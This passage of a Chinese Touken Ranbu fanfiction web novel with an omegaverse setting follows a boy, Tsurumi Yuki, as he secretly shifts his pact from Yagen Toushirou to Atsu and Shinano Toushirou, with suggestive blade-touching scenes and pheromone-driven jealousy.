刀剑化身的付丧神作为末位神明受到暗堕气息影响之后,更彰显出刀剑本能里战斗的欲望。 若是刚刚还是硬着头皮实话实说的话,现在那种潜藏在骨子中对力量的渴望与喜爱就彻底的溢出来了。 鹤见悠纪控制不住的用手指抚过刀身,掌心握紧刀柄,眼神变得灼热起来。 轻轻的、仔细的、爱惜的,他的动作像是拂过自己的爱人一般,满心满意全是喜爱,甚至恨不得自己现在就变成刀术高手,让这短刀在自己的手中也能杀敌无数。 但遗憾的是,作为一名普通的学生,他并不会这些东西,现在只能白白地看着漂亮的刀在自己手中躺着,宝贝地摸了摸,然后又遗憾地放回去。 厚藤四郎看着那双手,耳尖不知什么时候已经红了起来,短短的硬质的黑色头发无法遮盖住那些色彩,他只能装作没有发现。 付丧神接回自己的本体,开口时声音都显得有些沙哑:“以后,可以一直都待在你身边。” …… …… …… 他应下了! 鹤见悠纪猛地抬头,依依不舍的眼神瞬间亮了起来。 就连耳边绿色的四叶草都看起来变得鲜艳了许多。 “太好了厚!我要和你过一辈子,你真是个大好人!” 鹤见悠纪超级感动中。 厚藤四郎被这样直白的热议和告白搞得整个人都更加臊起来了。 他握着手中的本体,犹豫不决是否要直接在现在就将全部交给对方,但是如果被这么轻易频繁的摸到的话,是不是就不珍惜了呢? 他在心中天人交战,一个不注意就被鹤见悠纪抱了个满怀。 少年的怀抱是温暖的,他亲昵地凑在付丧神的耳边,脸颊贴近了,体温毫无保留的分享过来。 厚藤四郎敏锐的感知让他几乎能透过这副皮囊感应到鹤见悠纪胸腔内疯狂跳动的心脏。 鹤见悠纪知道这把厚藤四郎和正常的厚藤四郎不一样,他不能清晰的表达自己的情感。 既然如此,为了那把雪白漂亮的刀,他一定要让这家伙感受到自己真诚的心意才是! “既然这么说了就不能反悔哦,我不会反悔的!”鹤见悠纪双眼亮晶晶的,全是渴望。 他生怕到手的短刀突然飞了。 厚藤四郎不知道这家伙只是觊觎他的本体,而非他美丽的灵魂,平淡无波的内心早已因此泛起波澜。 他能感受到这是为自己而激动的情绪,这是因为喜爱他而表达出来的举动。 是他自己算计而来的。 他说: “不反悔。” 他怎么会反悔呢? 厚藤四郎迟钝抬手,模仿鹤见悠纪的动作抱了回去,却因为少年抱得太紧不能也埋进对方的颈窝。 他挣扎了一下,失败。 不过现在这样,他也满足了。 鹤见悠纪身上药研藤四郎的信息素也淡得快要消失了。 等标记消失,离开这里,他就可以名正言顺地将自己的气息重新落在他的大将的身上。 鹤见悠纪快乐地定下了第二个备选,甚至这位大有可能是最终的选择。 回家安稳性up!!! 这样想着,他满意地和厚藤四郎告别,回去的路上他取下了耳边的东西。 看见是一株四叶草的时他意外地摸了摸,本以为又是什么花。 “真是幸运呐……” 他第一次做这种需要藏起来的事情,竟然能够这么轻易的就成功。 这怎么不是一种幸运呢。 回到房间,看着依照约定在小桌边等待自己的药研藤四郎,他步伐轻松地跑了过去,“送过去了哦,我回来啦。” “欢迎回家。”药研藤四郎笑着将早晨没看完的那本书递到少年的手中,“中午想吃什么?” “原来还可以点菜啊?”鹤见悠纪笑眯眯地坐下,边翻着书边调笑他。 “当然可以点,只不过能不能实现就是运气问题了。”药研藤四郎说。 “运气?难不成本丸里的食物是从天上随机掉下来的。”鹤见悠纪有一搭没一搭地开玩笑。 药研藤四郎沉思:“或许也可以这么说吧。” 这座本丸大多数时候已经接近灵异了,不过有四个付丧神,即使是暗堕付丧神也足够压下那些东西,让其看起来和普通的本丸除了破败些没什么区别。 鹤见悠纪疑惑地看了他一眼,小声嘟囔:“我就随便说说怎么还真实现啊……” 药研藤四郎笑了笑没有接话。 既然是不会排到明面上的东西,也就没必要讲清楚了。 不论是鹤见悠纪接手这座本丸异样彻底消失还是没能接受彻底废弃,无用的东西都不必扰得人心烦。 鹤见悠纪却被他的话钓得越来越乱,不满地抬头,不告诉他他越想知道。 一定要从这家伙嘴巴里撬点什么东西出来。 然而下一秒,眼神落在付丧神身侧的本体上,大体带着白色的刀柄,规规矩矩的刀鞘两侧装配着棕色的笄,不用拔出来都能想象的到刀鞘内的刀刃定然是干干净净极为锋利的。 刚刚厚藤四郎奉上本体时看见的风光鹤见悠纪记忆犹新,此刻看着又一把出现在视野里的短刀,他承认,他动心了。 于是少年收了探知欲,他眨了眨眼睛,声音也软了下来,手指攥紧书本:“药研,我可以摸摸你的那个吗?” 药研藤四郎一顿,顺着他的视线看去……—— 作者有话说: 第35章 那里摆放着的是药研藤四郎的本体,付丧神有些疑惑,鹤见悠纪怎么突然对他的本体感兴趣了? 但是看着那双热切的眼睛和眼中毫不掩饰的好奇和期待,他还是默默避开视线,将短刀拿起放进了少年手中。 将自己亲手交到别人手中的感觉,很新奇。 而且这个别人在现在在严格意义上和自己还没有任何正式关系的情况下,药研藤四郎觉得有些别扭。 但是鹤见悠纪拿双手握住刀柄,将刀刃拔出来,手指轻轻抚摸上去惊叹观赏的时,那股从本体上传来的柔软的酥麻的感觉瞬间让药研藤四郎没有心情再想别的了。 不对,他怎么会这么熟练! ……柔软的、爱惜的、还有因为贴近观察而缓慢打在刀刃上的呼吸,他都感知的一清二楚,药研藤四郎咬牙收紧了手指。 太过敏感,太过刺激……这和与敌人交战时从本体上传来的厮杀的爽快感全然不同,温柔的带着喜爱意味的触碰,对于坚韧的刀刃来说是极其新奇的体验。 曾经的前主,从未做过这样亲近的举动。 这是第一次。 有人类在他化形后如此亲昵地对待他。 药研藤四郎被动接收陌生的感觉,感官放大,逼得他都想现在就从鹤见悠纪的手中将自己可怜兮兮被任由上下观看的本体拿回来,但是是他亲手交出去、亲自同意的,现在拿回来反倒显得他应激还不守信用了。 鹤见悠纪经过了厚藤四郎的本体观看之后才对于这第二把捞到手中的刀已经有了些观赏的经验,他轻轻抚过刀刃,紧紧握住刀柄,细细感受每一分皮肉贴近时的触觉。 就连放在旁边的笄他也没有放过,仔细的抽出来瞧了瞧。 小巧的刀刃,比起作为本体的短刀,要更加适合在日常生活中使用,或许在药研藤四郎紧急的时候还可以充当他的手术刀。 毕竟短刀即使再短,拿在手中也和日常里所用的菜刀几近差不多了,这是杀人的刀,也是护身的刀。 用它来做一些精细活,比如说要用短刀来拆快递什么的,就实在大材小用,也极为不合适的。 而且就算他想,想必作为短刀本人的付丧神也不会允许他用自己的本体做这种事情的。 鹤见悠纪好笑的想了想,在观赏到心满意足之后,才依依不舍的将短刀放回了药研藤四郎的腿上,手指留恋地蹭了蹭刀鞘。 他从未想过自己原来还有成为冷兵器迷的潜质。 看着付丧神将其收回腰间,这次甚至摆弄了外套将本体藏起来,鹤见悠纪随口感叹:“药研也很漂亮呢。” 药研藤四郎羞涩隐藏的动作一顿,他敏锐的捕捉到关键词,一瞬间什么燥热、什么悸动全都消失了,他的脸色瞬间僵了起来。 药研藤四郎抬头看向鹤见悠纪,面无表情:“你还看过别人吗?” 是谁还能像他这样将自己的本体完完全全交到鹤见悠纪的手中? 鹤见悠纪眨了眨眼:“刚刚去庭院的时候看见了厚的本体,只不过没能碰到呢。” 他若无其事地勾起嘴角,顺毛:“只有药研才愿意让我碰,你真好。” 药研藤四郎定定地看着他,没有看出破绽来,没一会儿又默默的移开视线,泛红的脖颈只有立起的衣领微微遮掩一块,大片暴露在外,侧开脑袋之后,更是让鹤见悠纪将他这副模样全然收入眼底。 鹤见悠纪有些意外的消化他的状态。 自己刚刚好像就只是摸了摸对方的本体又说了两句拍马屁的话,药研藤四郎反应怎么就这么大? 他不明所以,也没有失去理智地问出声来,只是当做没有看到一样,捧起一边书堆里的书津津有味地看了起来。 反正达到自己的目的,摸到了短刀就满足了,而且还是很深入的抚摸,如果以后有机会说不能还能拆开碰碰刀茎。 他的思绪飘远,在回去之前说不定还能再摸一摸别的刀,只不过不论是信浓藤四郎还是后藤藤四郎,和他都不甚熟悉,希望很小。 心中漫过一丝可惜,又缓缓拍散,不过是不能摸而已,等有机会的话多看两眼总是没问题的。 鹤见悠纪无力地安慰自己,但是在刚获得一样新的爱好时正是兴趣浓郁,看来只好见缝插针地摸摸厚藤四郎和药研藤四郎解一解饥渴了。 鹤见悠纪翻过一页,无聊地思考。 最近好像没怎么看到信浓藤四郎的身影,这家伙去哪里又在做什么?万一自己之后需要他了却找不到他的身影,可就不好了。 还有后藤藤四郎,那家伙除了在晚上见了两面之后,便再没有碰到过面了,真是本丸里心中最神秘莫测的一个家伙。 打发着时间,不一会儿,药研藤四郎出门又回来,便带着香喷喷热腾腾的午饭来抚慰鹤见悠纪空荡荡的胃了。 一餐结束,再经过幸福的午睡,就来到了下午,鹤见悠纪揉了揉眼睛,全然是刚被从被窝里捞出来,睡眼惺忪的模样。 现在药研藤四郎要带着鹤见悠纪去和厚藤四郎解除契约了。 鹤见悠纪眨了眨眼,他不知道厚藤四郎究竟要如何在药研藤四郎的眼皮子底下和自己假装解除契约。 但既然对方选择了和他继续进行下去这样见不得光的关系,那么需要操心的就只有厚藤四郎而已,自己只需要等待结果就好。 和早晨相似的路途,推开那扇门,就瞧见厚藤四郎坐在中央的木椅上。 他的身边空荡荡的,让人一下就将注意力落在唯一在房间中伫立的活人身上。 “我们来了。” 药研藤四郎敲了敲木门,以做提醒。 鹤见悠纪躲在药研藤四郎的身后,微微探出脑袋,他和厚藤四郎对视一瞬,付丧神没有让视线在他的身上停留。 厚藤四郎闻言起身,他走到药研藤四郎的面前,看着自己无比熟悉的兄弟的脸,这时才视线微微偏移。 药研藤四郎身后,鹤见悠纪正带着浅浅的微笑看着他,厚藤四郎知道自己绝对不能在此刻出岔子。 既然已经答应了,既然他们已经做好了约定,甚至就连本体都已经让对方摸光了……他哪里还有退路,他也不想有退路。 药研藤四郎说完话,静静地看着厚藤四郎,他察觉到对方的小动作,眉尖微蹙,在厚藤四郎靠近的时候身体条件反射动起来,挡在两人之间。 眼前被遮住,厚藤四郎脸上仍旧面无表情,他淡淡的看向药研藤四郎:“……你将我们隔开,这契约怎么解除呢?” 药研藤四郎不为所动:“解除契约这种事情,可不一定要靠得近。” 这种事情靠那么近干什么?而且还想靠的有多近?! 鹤见悠纪不知道为什么突然对本体有了兴趣,大抵是因为看见了厚藤四郎本体但是又没摸到,所以才伸手摸向了他的本体。 既如此,现在绝对不能让两人靠得太近,再让鹤见悠纪对厚藤四郎的本体起了兴趣。 两个人之间之后就不会有任何关系了,没必出现发生这种亲密举动的可能。 淡淡的火药味只需两三句就在两人之间蔓延开来。 厚藤四郎歪头:“是吗?” 鹤见悠纪看着两人的状态,为自己之前没有告诉药研藤四郎摸了厚藤四郎的本体的事情而庆幸着,幸好他敏锐的发现药研藤四郎好想对自己和其他刀剑接触这件事不太乐意而警惕的隐瞒了。 不然现在火就要烧到他身上了。 最终还是因为上午就约定好了下午解除契约,厚藤四郎没有执意靠过来。 在场的两把刀心怀各异,同时做着解除契约还有隐藏契约两件事。 鹤见悠纪站在原地,他也不会控制那个叫做灵力的东西,也不知道接下来究竟要做什么,只好乖乖站在一边,看着两把刀开始忙活。 但他们除了在地上画一些看不懂的图形以外,就什么都没做了。 鹤见悠纪被牵引着站到其中一个阵法里,下方,灰蒙蒙的阵法看起来并不像是能做什么神秘的效果的存在。 他站在中央,有些手足无措,眼神迷茫地看着现场的两把刀,最后静静的停在药研藤四郎的身上。 药研藤四郎见状上前,他握住鹤见悠纪的手,轻声安慰:“别紧张。” ……没紧张! 他有什么可紧张的,反正这两人现在和自己的关系应该都没有坏到要把自己弄死的程度。 当然如果自己找一个备选,又找另一个备选的事情暴露了,说不定自尊心极强的神明就要把他弄死了,所以……鹤见悠纪咽了咽口水,现在倒是真的紧张起来了。 他看着药研藤四郎,慢慢点了点头。 为了处理鹤见悠纪这样身负灵力却不会使用的存在的审神者的契约,他们脚下的阵法应运而生。 毕竟想要让一个人从对灵力毫无所知到灵活应用,还可以主动签订契约、解除契约什么的,还是要一定时间。 但是在战况紧急的时候,每一个新战斗力都是极为珍贵且需要迅速投入的,可没那么多时间让他学习成长。 那些早已具有成就的大佬们便也研究出了这样的方法。 不然药研藤四郎这个对灵力如何使用从未体会的付丧神,还真没办法让少年和自己以及身下的本丸签订契约。 很快,随着灵力无意识的被牵引注入,地面的符文闪出金色的光芒。 两个阵法同时亮起,鹤见悠纪被刺激的瞬间闭上眼睛,等到他在感受到光芒消失再次睁开眼睛的时候,周围的一切已经平静了。 他感觉好像没有任何变化,那种若有若无的联系还存在着,但是他看着握上自己的手又矜持压下自己的高兴的药研藤四郎便知道,在药研藤四郎的眼里,自己已经和厚藤四郎解除契约了。 真是神奇。 鹤见悠纪感叹。 药研藤四郎心情很好地带着他和厚藤四郎告别,此刻,对着兄弟他再没了之前那副警惕的模样。 转身时,鹤见悠纪微不可查地向厚藤四郎眨了眨眼睛,看着付丧神一闪而过的情绪波动以及神奇出现的暖意,心中某份模糊的猜想被证实。 两人相视一笑,彻底跨出门时,药研藤四郎若有所感:“怎么了?” “啊,没什么。”鹤见悠纪笑得很甜,“我们快些回去吧,我好累呀。” “好。” 药研藤四郎不做他想,温声应着,只是眸子突然静了一瞬。 话说,omega身上属于自己的信息素已经淡得快要察觉不到了—— 作者有话说: 第36章 这意味着临时标记的作用快要彻底消失,按照之前的约定鹤见悠纪在临时标记结束之后就要开始尝试和本丸契约,若是契约成功就会离开这里了。 时间过得真快,如果离开时能带着自己就好了,药研藤四郎感叹。 等到了那时,他再最后为自己争取一番吧,若是鹤见悠纪不愿,也无可厚非。 鹤见悠纪在这里是否有留下高兴的记忆呢? 药研藤四郎不知道。 如果只有艰苦的生活条件和陌生得让人心慌的未知存在的话,那等着时间流逝将这些不好的记忆冲刷掉真是个不错的选择。 就着鹤见悠纪答应了自己的请求真的和厚藤四郎结束契约之后的好心情,他先将这件让人遗憾的事情压了下去。 看着鹤见悠纪突然离开突然回来的动作,他浑身暖洋洋地递上新书。 鹤见悠纪面色一僵,又动作如常地接过,他翻开一看眼睛瞬间亮了起来:“……你怎么找到下册的!” 是之前他抓心挠肺却只有一半的那本书。 “运气好翻到了。” 药研藤四郎推了推眼镜,看着鹤见悠纪快乐的样子,觉得自己没白翻。 一直到晚上抱着人在怀中睡觉,他都保持着心情愉悦。 鹤见悠纪无聊地躺着看天花板,他现在还不怎么困,思考究竟是用数星星还是用数绵羊来让自己加深困意。 但很快,他的注意力就被拉了回来,他蹙起眉,察觉到几分意料之中的异样。 鹤见悠纪轻轻耸了耸鼻子,若无其事地问道:“药研,你的信息素怎么突然变得这么明显?” 话一出口,空气中缓缓流动像做贼一样的信息素们瞬间僵在原地,而后又弥盖弥彰地纷纷四散开来。 刚发现自己的信息素自己开始往少年身上缠绕的药研藤四郎还没开始反应,抬头就对上鹤见悠纪狐疑的眼神,他一僵。 “抱歉。” 虽然这并非他主动意识下的操控,但是莫名其妙往别人身上缠绕的信息素确实是他自己的信息素。 omega身上的临时标记几乎要消失,现在血液中属于他的alpha信息素自然也是几近于无。 可天生带着占有欲的alpha的本能不允许自己的伴侣身上没有自己的气息。 不告诉别的同类这是他的伴侣的话,就会有不长眼的东西企图趁他不注意的时候抢走他的伴侣。 ——但是鹤见悠纪不是药研藤四郎的伴侣。 在药研藤四郎讲述了关于abo的基础知识之后,鹤见悠纪对于这种情况也能猜个一二。 莫名其妙往他身上塞信息素的行为着实是有些冒犯了,毕竟可是药药研藤四郎亲口说现在的他们是异性,同床共枕本就已经足够亲密,现在还把自己的信息素往他身上放…… 鹤见悠纪忽然坐起身来,面色放空。 药研藤四郎被他的动作吓了一跳,也猛坐起身来,又顺手将一边的被子将鹤见悠纪包裹起来:“怎么突然坐起来了?别着凉了。” 最近的天气更凉了些,在晚上只穿着单薄的睡衣很容易着凉。 鹤见悠纪沉默着没有理他,他思考片刻,才在药研藤四郎紧张的眼神中抬头。 “等临时标记结束之后,我就该回去了……”他用眼神比划两人之间的距离,“异性之间不应该这么亲密,这些事因为临时标记的事情打扰了你这么久,还让你为此做到这样地步……” 鹤见悠纪还记得之前药研藤四郎对第二性征的omega和alpha十分在意的,两个异性同住一间屋檐下对于药研藤四郎这样有道德的付丧神来说是肯定是极大的煎熬。 于是鹤见悠纪愧疚又善解人意地抬了拍付丧神的肩膀:“如果需要的话,我现在就可以离开,反正我现在一点都不困,搬个房间而——” “不。” 药研藤四郎打断他的话,语气急促,“不要!” 付丧神心中五味杂陈,不知应为鹤见悠纪的体贴感到温暖,还是为被这样迫不及待的推开而伤心。 但当初最开始说出两个人应该注意这些的是自己,这些日子不仅鹤见悠纪没有注意就连他自己也选择性的遗忘这些记下的规则。 他深呼吸,和鹤见悠纪因为自己突然的高声而疑惑至极的眼神对视: “晚上太冷了,再在这里睡一晚吧。临时标记已经几近消失了,不会有太大影响的,但是今晚真的太冷了,如果要离开的话,不用这么着急。” 药研藤四郎伸手虚虚的握住他的手腕,是一个只要鹤见悠纪想可以随意挣脱的力道。 他不想强迫,但是那个没有这里温暖也没有这里物品齐全的房间,要在这么冷的半夜过去……药研藤四郎闭了闭眼睛,他将选择权交给鹤见悠纪。 而且…… 如果要离开他的话,也不用那么着急。 药研藤四郎突然有点想笑,嘲笑的那种,白天的时候还让厚藤四郎和鹤见悠纪解除了契约。 想比对方当时也是自己现在的心情吧,渴望再停留一会儿,如果一定会走到分离的结局的话,就努力在现在再延长一会儿现在的感觉。 鹤见悠纪眨了眨眼,像个木头: “你的状态看起来不太好,我继续留在这里,你会受到更多的影响吧?” 信息素控制不住的想他这边传递的状态,可不是冷静的药研藤四郎会做出来的行为,对方的身体终究已经被他影响了。 鹤见悠纪有些头疼,他没想到omega和alpha之间竟然还有这种效果。 他不想让自己害了对方,让事情变得糟糕起来。 本来这些日子就因为他被对方临时标记而让喜爱战场、善于战斗的刀剑付丧神不得不在夜晚需要和敌人战斗的时候跟在自己的身边…… 现在竟然还有别的错误的倾向,他当然要主动将其掰回来才是。 “不会,只是一时没注意而已。” 药研藤四郎摇头。 他看出鹤见悠纪没有讨厌自己,少年只是在真心实意的为自己着想,这份心意让他心底暖暖的,也觉得无奈。 “相信我,诅咒在我身上已经许多许多岁月了,这么多年来我已经适应了alpha的身份的一切,不必过于担心我。” 除了易感期恐怖的躁动和欲望他无法完全控制,只能使用手段将自己压制起来以外。 “好吧……”鹤见悠纪仔细感受了一番周围空气中确实已经没有了alpha的信息素,便也就暂且相信他了。 鹤见悠纪看着付丧神,眼中突然闪过几分狡黠,快得像是错觉:“要不是今晚我突然发现了,你是不是还打算瞒着我?” “什么?” “临时标记的事。” 鹤见悠纪没有感受到临时标记已经快要消失的事,还是刚刚听到药研藤四郎那样说他才反应过来。 这也是一件很奇怪的事情,在药研藤四郎的口中,omega对于这些东西都十分敏感,但是在自己身上却显得十分迟钝,就算是被临时标记了,也没有向对方口中所说的那样依赖标记自己的alpha。 临时标记消失之后,自己就可以尝试和本丸建立契约然后回家,这家伙明知道自己很想快点回去,现在竟然连快要结束这种事情都不告诉他。 药研藤四郎怔了一瞬,他取过一边放着的眼镜,薄薄的镜片仿佛能遮盖住他心中的慌乱。 他面上一片冷静,神情也依旧从容不迫:“毕竟还没有完全消失。告诉你快要消失的话,接下来的这段时间都想着这件事情,一直情绪高涨的话是很累的。” 他看起来十分专业,说出来的话也有信服力,“之后和本丸签订契约的时候会消耗一些体力,所以,安安静静的休息充足是最好的选择。” 鹤见悠纪看穿了付丧神冷静之下那副像极了小孩子一样渴求自己的玩伴能再多留一会儿于是千方百计掩盖的模样。 但是这样的模样也显得分外可爱。 于是他点了点头,如同付丧神所期望的那样将这个话题结束:“我知道啦,药研你对我真好,那等之后临时标记彻底消失了,你再告诉我吧。” 说着,他动作自然的摘下付丧神突然戴上了眼镜,两双紫色的眼眸直接触碰对视。 少年的笑容单纯又无辜,语气中带着几分无奈:“毕竟像我完全分辨不了标记是否存在,只能依靠药研来帮我了。” 他是这样弱小,能够完完全全被非人类的刀剑付丧神掌控。 他对这里是这样陌生,就算知道了基础信息,也仍然不能像已受到诅咒多年甚至侍奉过那个世界观的原住民的付丧神一样,对所有的变化都十分敏感。 所以,药研藤四郎不应该会对他升起任何警惕。 所以,鹤见悠纪也会全心全意的依赖在这座本丸中唯一一个愿意帮助他的付丧神,至于其他的……他怎么会有时间怎么会有渠道去贴近呢? 药研藤四郎也这样想。 他被鹤见悠纪的弱小蒙蔽,安心地看着少年蜷缩在自己的身边,缓缓陷入沉睡。 熟悉的甜蜜的omega信息素还在身边,被酸涩的alpha信息素紧紧握住。 药研藤四郎暂且放下那些之后鹤见悠纪离开自己究竟该如何是好的问题,至少现在少年还在自己的身边,刚刚只是因为信息素突然变化才会造成突发事件。 不然……直到临时标记彻底结束omega也不会知道。 他闭上眼睛。 但是,自己真的会这样做吗?他不会,这是不会动摇的事实,不论扭曲的暗堕心灵如何恶臭,强大的可靠的付丧神皮囊也会让他控制着自己的声带说出来。 战斗的刀剑锐利声响,还有平静的呼吸声,都在浓稠的黑夜中掩盖。 一切都很平静。 直到清晨,药研藤四郎如往常一样,轻手轻脚的出去准备早饭,他脸上带着笑意推开房门。 浅淡的味道让他动作一僵,面色怔愣地抬起头,床铺铺得平坦,哪里还有本应熟睡的鹤见悠纪的身影—— 作者有话说:饥饥饥 第37章 果断又没有任何停留的离开了这里,任何声响都没有发出,不然他不会没有发现这边的动静。 药研藤四郎动作僵硬的放下手中带来的东西,他压平嘴角,面无表情地看着眼前空荡荡的房间。 某一瞬间,他好像提前体会到在未来鹤见悠纪回家之后的感觉。 他有点愤怒。 但是鹤见悠纪做错什么了吗?什么都没有做错。 他只是离开了自己而已,只是其他可能找了另一个付丧神、也就是他的兄弟离开自己而已。 大脑中一阵钝痛,只剩下一片酸涩。 那或许他确实应该愤怒,某种程度上来说,他被欺骗了,但是他又没有愤怒的理由。 让对方住在自己的房间里,不过是他的私心在作祟。 但是那种无可言喻的失落感还是在发现的瞬间就席卷他整个人。 他抚上脑袋,眼睛被手心遮盖,仿佛也遮住了他心中不断翻涌的思绪。 药研藤四郎只是用一种几近麻木的动作开始收拾房间内的一切。 但其实也没什么可收拾的。 鹤见悠纪在离开这里的时候,并没有将这里的任何东西搞乱,他只是平静的带走了属于自己的所有东西,然后让这里属于他的痕迹都被剖析得一干二净而已。 药研藤四郎呼出一口气。 但就算是假装得再在不在乎,可是心中无有缘由的痛苦还是让他认清自己绝对不会是毫无感觉,他做的所有事情都一直在告诉他,他很在意鹤见悠纪。 药研藤四郎不知道这是好事还是坏事。 但至少在现在还没有变得太坏。 关上窗户,拉上窗帘,房间中变得伸手不见五指,就着对房间内设备的熟悉他撑着脑袋坐到床边。 呼吸有些沉重,身体在捕捉空气中所剩无几的信息素。 可甜蜜的信息素就像它的主人一样,已经离开了这里。 是让他抓不住的消失。 太奇怪了,他需要冷静一下。 他现在可是很可怜的。 ——我被丢下了哦,悠纪。 另一边,鹤见悠纪看着在信浓藤四郎忙来忙去中变得越来越不像这座本丸画风的房间不由得汗颜。 “你哪里来的这么多东西?” 信浓藤四郎头也不抬,手下动作也是熟练:“不知道,突然就找到了,然后感觉有用就收集起来,结果现在果然就用到了嘛。” 真的很诡异呀,这样的说法…… 鹤见悠纪深呼吸,在一边找着凳子坐下,免得自己耽误付丧神的动作。 但他还是惊奇地环视周围,电视、冰箱、茶几、烧水壶、甚至还有空调,这真的是本丸这种和式建筑里应该存在的东西吗? 而且为什么之前自己竟然在药研藤四郎的屋子里完全没有看见过这些东西的踪影。 不,烧水壶算是勉强看见过吧,毕竟每天一口茶什么的,烧不了水怎么泡茶呢。 信浓藤四郎现在就像一个勤劳的小蜜蜂,一会儿在房间里转来转去,一会儿又突然飞出去搬着一个庞然大物塞到里面。 然后安到想要的位置后之后满意地拍拍,再继续双眼发光地搬下一件东西。 鹤见悠纪试图劝导:“……应该不用弄这么多东西,反正马上就要离开了,这么费力也没什么用。” 信浓藤四郎的背影顿了顿,然后他转过身来,手上还拿着新的毛巾。 付丧神面色如常:“怎么能这么说呢,要好好生活的话,生活条件必定是不能够差的,就算只是一个小时,也不能住在垃圾堆里吧。” 他笑了笑:“没有说你真的是垃圾堆的意思,只是东西太少的话很像毛坯房,人住着也没有家的感觉。” 鹤见悠纪觉得他说的有道理,而且反正不是自己来做,那就随他去吧。 信浓藤四郎看他乖巧地坐在一边,眼中满是赞叹也很满足。 现在他活力十足,一点都不带累的。 付丧神穿着规整的出阵服,从鹤见悠纪身边路过的时候,仿佛还能闻到一股淡淡的洗衣液的香味。 鹤见悠纪的视线不由得跟随在他身上移动。 从交叉深色衣领处伸出白色领子,很好的护住锁骨那片区域的皮肤,双手动作着带着一双黑色手套,但偏偏属于手背的那部分附上一小块白色来,便不再单调。 视线回归肢体,腰间的看起来像是皮质绑带挂着自己的本体,又将腰部紧紧箍住,将曲线展现的十分恰当。 在向下看去,粟田口几乎是人手一条的短裤下方吊带的下方白色绑在大腿上,看成绝对领域,短裤边缘若隐若现属于内里腰带部分的护摩著的花纹。 黑色,金色,白色,搭配上匀称的大腿,实在是知道自己好看也大方展示出来的模范。 而黑色的短袜,直到膝盖下方才开始遮盖小腿处的皮肤,黑色的靴子上的纽扣作为装饰,让单调深沉的颜色变得明亮起来,侧面这藏着拉链方便穿脱。 鹤见悠纪突然伸手撑住脸颊,又微微遮住嘴,小小的倒吸了一口气。 他没有看错,这家伙明明经常要战斗,鞋子上竟然还有小高跟,虽然非常非常的小,但确实有一个小小的跟。 精致boy吗?他承认,确实很好看,而且也很自信。 无论是怎样的穿着,都不会让他的战斗力因此下降,作为刀剑付丧神,作为天生为了战斗而生的存在,他必将以精致又实用的姿态将胜利带回。 鹤见悠纪被自己的脑补带得分外激动,直到他的诡异动静惹来付丧神奇怪的眼神,他才瞬间正了正神色,轻轻咳了两声:“看我做什么?我应该没有那个、打扰到你。” 信浓藤四郎思索:“如果感觉无聊的话,可以出去转转,在这里坐着确实没有什么趣味。” “哪里!在这里就足够了,我昨天晚上因为想着今天的事情都没有睡够,我现在可累了。”鹤见悠纪用力的眨了眨眼睛,试图用无辜的眼神让付丧神相信自己的话。 “好哦。” 信浓藤四郎信了他,然后转身继续整理桌上的摆件。 零零碎碎不知道有什么用但是摆在桌子上看起来还算不错的东西,他也有一大堆呢,现在究竟要怎么组合他得好好想想。 既然要好好想想的话,自己就要在这里站很久很久。 而某个一直将视线落在自己身上的人,也可以看很久很久了。 信浓藤四郎背对着鹤见悠纪的脸上带着些笑,那视线明晃晃不带任何掩饰,敏锐的短刀怎么可能对比一无所知? 但是当他察觉到对方究竟在看些什么的时候刚蹙起的眉头瞬间舒展开来。 觉得他很好看吗?是的,秘藏之子就算是在外形方面也不会输给任何人。 正快乐地想着,脑海中突然出现一道熟悉的声音。 他会离开的,你听见了吧?现在做这些不过是无用之功。 信浓藤四郎皱眉,烦躁的把它打散。 那又如何,我愿意做,大不了之后我跟他一起走,再布置一次。别来烦我! 声音消失了。 他的眉头舒展开,继续为着眼前的摆件发愁。 房间中的大体布局他已经安排好了,原本黑乎乎的房间中有了无数的灯,只要鹤见悠纪需要的话,不论站在哪里都能是亮堂堂的。 信浓藤四郎也是复杂地看了一眼已经开始犯困的鹤见悠纪,其实比起让这人在这里留下来,更希望他能在那家伙重新占据身体之前就离开这里。 这样自己就能帮忙了。 不然等自己没有掌控这具身体的那段时间,其他的兄弟也不愿意帮助他的话,失去了自己这个依靠的鹤见悠纪究竟该怎么办呢? 天知道他看着好久不见的少年突然冲进房间的时候有多意外。 虽然鹤见悠纪当时只是找到了他,想和他聊两句。 但是在察觉到少年身上血肉之内因为临时标记而灌入的信息素明明已经快要消失,身体周围却仍旧布满药研藤四郎的信息素时他就察觉到了异常。 他迟疑地问出声,单纯的omega瞬间僵在他的面前,可怜的眼神缓缓落了过来。 那是在求助。 别的人都不帮他的话,只能自己帮助他了。 他知道鹤见悠纪知道这个信息之后是在刻意的向自己求助,但是那又有什么办法呢? 不论是弱小的无助的人类在付丧神之间生存,还是弱小无助的omega在alpha之间周旋,他只能这样做,鹤见悠纪只能向自己善发善意的存在请求帮助。 alpha与omega长期在一起,若是因为身体激素的冲动而造成什么不可补救的后果的话,他知道那有多可怕的…… 信浓藤四郎捏紧了拳头,压下心中的无奈,再转过头去,将昏昏欲睡的少年戳了戳:“今天想吃点什么嘛?” 听见熟悉的问题,鹤见悠纪还没反应过来,他嘟囔着:“平时那些就可以了,药研……” 信浓藤四郎顿了顿:“我是信浓哦,你叫错啦。” 鹤见悠纪瞬间清醒,他看清眼前付丧神的面容,一股尴尬的意味充斥全身:“抱、抱歉,我不是有意的,对不起信浓。” 叫错人名字什么的也实在是太过分了吧。 信浓藤四郎摇了摇头:“没关系,看来你确实很困了,那我们就早点吃完饭早点睡觉吧。” 他将自己的房间告诉鹤见悠纪,然后向外走去,鹤见悠纪看着他的背影松了口气,有认真告诫自己下次清醒了再喊人。 然而下一秒就听见停在门口的付丧神面带微笑转过头来:“你们平时吃什么呢?我去给你做吧。”—— 作者有话说:饥饥饥,不饥了 第38章 阳光从窗户的缝隙里透出来,丝丝缕缕落在崭新的榻榻米上,新的房间有股淡淡的香味,和药研藤四郎那里终究有些不同。 鹤见悠纪坐在椅子上盯着门口那扇没有完全关紧的门,信浓藤四郎说完那句话就去做饭了,临走前说自己会很快回来,让他先休息一会儿。 他确实是该休息了,昨夜几乎没合眼,翻来覆去想着怎么开口、怎么离开、离开之后又怎么面对药研藤四郎。 但最后他没有开口,沉默的离开了,也还没有面对药研藤四郎。 新的被信浓藤四郎收拾好的房间干净无比,他现在坐在这里,眼皮沉的厉害,大脑昏沉沉全是睡意。 信浓藤四郎说他做饭的地方离这里不远,如果有什么事喊一声就能听见。 他说这话的时候语气轻快,和平常没什么两样,可是鹤见悠纪总觉得是那句“那你们平常吃什么”的沉默还是有了影响。 鹤见悠纪没有回话,只是对着说出这句话的信浓藤四郎等了很久。 